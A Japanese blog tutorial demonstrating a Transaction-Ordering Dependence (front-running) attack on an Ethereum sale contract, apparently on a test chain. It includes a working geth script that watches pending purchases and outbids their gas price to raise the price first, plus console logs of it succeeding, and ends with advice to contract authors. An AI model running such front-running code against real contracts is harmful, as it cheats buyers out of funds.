Ethereum(41) - Transaction-Ordering Dependence④(自動実行編)

今回は、トランザクション発行を検知して、そのトランザクションより優先して処理を実行してみます。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    コントラクト生成者。売り手。自動で攻撃を行う。
  • ACCOUNT1 (eth.accounts[1])
    買い手。
  • ACCOUNT2 (eth.accounts[2])
    マイナー。

コントラクトの状態確認

現状のコントラクトの状態を確認します。

[コントラクトの状態]

価格は20 etherであることが確認できます。

自動実行処理を設定(イベント検知)

トランザクションを検知して、priceを自動で20 etherから25 etherに更新する処理を設定します。

コマンドの全体は下記の通りで、gethコンソール上で実行します。

[コマンド]

1
2
3
4
5
6
7
8
9
10
11
12
var filter = web3.eth.filter('pending');
filter.watch(function(error, result){
var tx = web3.eth.getTransaction(result);
if(!error && tx.to.toUpperCase() === mpt.address.toUpperCase() && tx.from !== eth.accounts[0]) {
console.log('Tx Hash:' + result);
var _gasPrice = parseInt(tx.gasPrice, 10) + 1;
console.log('Gas Price:' + _gasPrice);
var attackTx = mpt.updatePrice.sendTransaction(25,{from:eth.accounts[0], gas:5000000, gasPrice:_gasPrice});
console.log('Attack Tx Hash:' + attackTx);
console.log('done');
}
});

上記コマンドの説明は以下の通りです。

  • 1行目
    マイニングされていないトランザクションのみを抽出するためにフィルタをかけます。
  • 2行目
    watch関数で監視を開始します。
  • 4行目
    下記の条件を全て満たしているかどうかを判定します。
    ①エラーでないこと。
    ②検知したトランザクションの宛先アドレスとmpt(コントラクト)のアドレスが一致すること。
    ③fromアドレスが自分でないこと。(自分が発行したトランザクションを対象外とするため)
  • 6行目
    検知したトランザクションのgasPriceを取得して、それよりも1wei大きい値を_gasPriceに格納します。
  • 8行目
    検知したトランザクションよりも高いgasPriceでupdatePrice処理(価格更新)を呼び出します。

購入トランザクション発行

アカウント1から購入トランザクション(buy関数)を発行します。

[コマンド]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
> personal.unlockAccount(eth.accounts[0])
Unlock account 0xec3b01f36b44182746ca109230567c4915512e35
Passphrase:
true

> personal.unlockAccount(eth.accounts[1])
Unlock account 0x63f25b9bbd974fdfa07477cb99c60d2073cfe560
Passphrase:
true

> mpt.buy.sendTransaction(10, {from:eth.accounts[1], gas:5000000, gasPrice:50000000000, value:web3.toWei(500, "wei")});
"0xc9d81f9a6a65554a963ca178fc0e0026bb95c88ed05892d7ffbec4786fe5b5b1"

[↓↓↓自動で実行される]
> Tx Hash:0xc9d81f9a6a65554a963ca178fc0e0026bb95c88ed05892d7ffbec4786fe5b5b1
Gas Price:50000000001
Attack Tx Hash:0xfca59c8a842abb5154a3953a7a3092d2ecf43d83b1c74db4ddcf863817a7e454
done

14行目以降が、イベントが検知され自動で実行された処理のログになります。


発行されたトランザクションの内容を確認します。

[トランザクションの確認]

アカウント1としてはpriceが20 etherで購入(buy)したはずですが、イベント検知処理により価格更新のトランザクションが優先的に実行されたために25 etherでの購入することになっていることが確認できます。

まとめ

今回のサンプルでは攻撃者がスマートコントラクトのオーナーという前提で行いましたが、逆のパターンもありえます。

自分が作成したスマートコントラクトに対して、TODを突いた攻撃を受ける可能性もあります。

また、作成したスマートコントラクトがTODの影響を受けた場合に問題になるかどうかは、攻撃意思がなくても発生する可能性があります。

スマートコントラクトを実装する際にはTODの影響を受けるかどうかを必ず確認するようにしましょう。